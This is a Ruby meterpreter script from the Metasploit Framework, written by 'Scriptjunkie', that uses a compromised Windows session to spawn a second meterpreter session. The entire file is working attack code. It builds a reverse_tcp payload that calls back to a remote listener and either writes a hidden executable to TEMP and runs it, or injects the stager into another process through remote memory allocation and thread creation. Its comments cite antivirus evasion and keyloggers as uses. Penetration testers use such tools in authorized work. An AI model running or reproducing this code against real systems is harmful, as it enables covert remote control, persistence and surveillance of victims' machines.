metasploit-framework/scripts/meterpreter/duplicate.rb

154 lines
4.6 KiB
Ruby

##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Scriptjunkie
# Uses a meterpreter session to spawn a new meterpreter session in a different process.
# A new process allows the session to take "risky" actions that might get the process killed by
# A/V, giving a meterpreter session to another controller, or start a keylogger on another
# process.
#
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"],
"-w" => [ false, "Write and execute an exe instead of injecting into a process"],
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"]
)
#
# Default parameters
#
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4546
lhost = "127.0.0.1"
spawn = false
autoconn = true
inject = true
target_pid = nil
target = "notepad.exe"
pay = nil
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(opts.usage)
raise Rex::Script::Completed
when "-r"
rhost = val
when "-p"
rport = val.to_i
when "-P"
target_pid = val.to_i
when "-e"
target = val
when "-D"
autoconn = false
when "-w"
inject = false
when "-s"
spawn = true
end
end
print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")
payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.share_datastore(pay.datastore)
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = payload
mul.datastore['EXITFUNC'] = 'process'
mul.datastore['ExitOnSession'] = true
print_status("Running payload handler")
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
if client.platform =~ /win32|win64/
server = client.sys.process.open
print_status("Current server process: #{server.name} (#{server.pid})")
if ! inject
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
print_status("Meterpreter stager executable #{exe.length} bytes long")
#
# Upload to the filesystem
#
tempdir = client.sys.config.getenv('TEMP')
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tempexe.gsub!("\\\\", "\\")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
print_status("Uploaded the agent to #{tempexe} (must be deleted manually)")
#
# Execute the agent
#
print_status("Executing the agent with endpoint #{rhost}:#{rport}...")
pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
elsif ! spawn
# Get the target process name
print_status("Duplicating into #{target}...")
# Get the target process pid
if not target_pid
target_pid = client.sys.process[target]
end
if not target_pid
print_error("Could not access the target process")
print_status("Spawning a notepad.exe host process...")
note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
target_pid = note.pid
end
else
print_status("Spawning a #{target} host process...")
newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
target_pid = newproc.pid
if not target_pid
print_error("Could not create a process around #{target}")
raise Rex::Script::Completed
end
end
# Do the duplication
print_status("Injecting meterpreter into process ID #{target_pid}")
host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
raw = pay.generate
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
print_status("Writing the stager into memory...")
host_process.memory.write(mem, raw)
host_process.thread.create(mem, 0)
print_status("New server process: #{target_pid}")
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end